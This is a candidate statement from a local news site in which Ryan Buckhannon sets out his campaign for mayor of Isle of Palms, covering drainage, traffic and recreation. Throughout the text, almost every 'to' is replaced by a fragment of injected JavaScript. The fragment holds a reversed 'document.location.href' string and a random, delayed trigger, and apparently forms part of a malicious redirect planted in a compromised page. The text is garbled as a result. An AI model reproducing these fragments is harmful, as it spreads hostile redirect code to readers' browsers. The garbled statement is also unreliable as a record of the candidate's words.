Ryan Buckhannon

The following statement was provided by the political candidate for The Island Eye News.    

Ryan Buckhannon

My love affair with the Isle of Palms began as a child. Every summer, I would visit family on the Isle of Palms, often helping in my uncle’s restaurant, The Islander. This restaurant is where the locals went and where daily community discussions and debates occurred at the ‘Round Table.’ It was a simpler time – before the era of iPhones, Instagram, and yes, pandemics. Time slowed down when you crossed the one bridge ontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the island. And I knew that is where I wanted tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be and be a part of that sense of community. I vowed that one day, I’d return. And return, I did. Along with my wife Sonya, we jumped headfirst intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to serving this incredible community. We have raised our now 22-year-old triplet boys on Isle of Palms. All three boys, Ashtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton, Beck, and Collin, grew up at the recreation center, Sullivan’s Island Elementary, Laing Middle School & Wando High School. I have thoroughly enjoyed working for this community and the Isle of Palms residents as your council member. I have served this council as Chairs of Public Safety, Public Works, Recreation, Personnel, and Mayor Pro Tempore. We must do more tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to protect the island’s unique quality of life. Our community is affected by the rampant growth from the surrounding communities. South Carolina Department of Transportation is steadfast in its position on the city’s ability tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to manage beach parking. 

Traffic chokes tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too many roads, and poorly managed development in the tri-county area makes the problem worse. We need someone tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work with SCDOT, State Representatives, municipal governments, and county officials tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to develop solutions tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to parking management and traffic congestion issues. Flooding, stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tormwater runoff, and beach erosion threaten not only the natural beauty around us but our economic vitality. The city’s Phase Three drainage Project is currently underway. This project will make significant drainage improvements tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the 30th, 36th, and 41st Avenue outfalls, improving the number of standing water events experienced by residents and property owners. 

I have worked on the Phase Three Drainage project, and as Chair of the Public Works Committee, worked on the first two drainage projects that have brought drainage relief tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to other areas of the island. I look forward tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to completing this current project and developing plans tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bring flooding and drainage relief tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the rest of the island. As your council member, I worked for positive reforms in our community. As Chair of Recreation, I developed the FastStart sports program for our three and four-year-old island children. I created a sinking fund that allowed the city tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to improve the athletic field’s grounds and lighting without borrowing and incurring more debt. As Chair of Public Safety, I worked with the admin and department heads tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to allow golf cart parking at the beach accesses. I will continue tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work with our business community as I have in the past. This type of leadership has allowed me tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to earn the endorsements of many of our island businesses. I am excited about the opportunity tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bring that same commonsense decision-making, fiscally conservative values, positive reforms, and transparency that I have proven as your council member tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the position of Mayor. I have watched your tax dollars like a hawk and will continue tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do so and will fight hard for our fair share of state funding. Now, more than ever, we need a leader who has experience working on the issues that will define this decade and beyond. It’s time for action tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to improve infrastructure, traffic, and our quality of life. 

Please consider supporting my campaign for Mayor of Isle of Palms in the Nov. 2 election and ask that you follow or subscribe tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our campaign for future updates and events on Facebook at Ryan Buckhannon for Isle of Palms Mayor or RyanBuckhannon.com.

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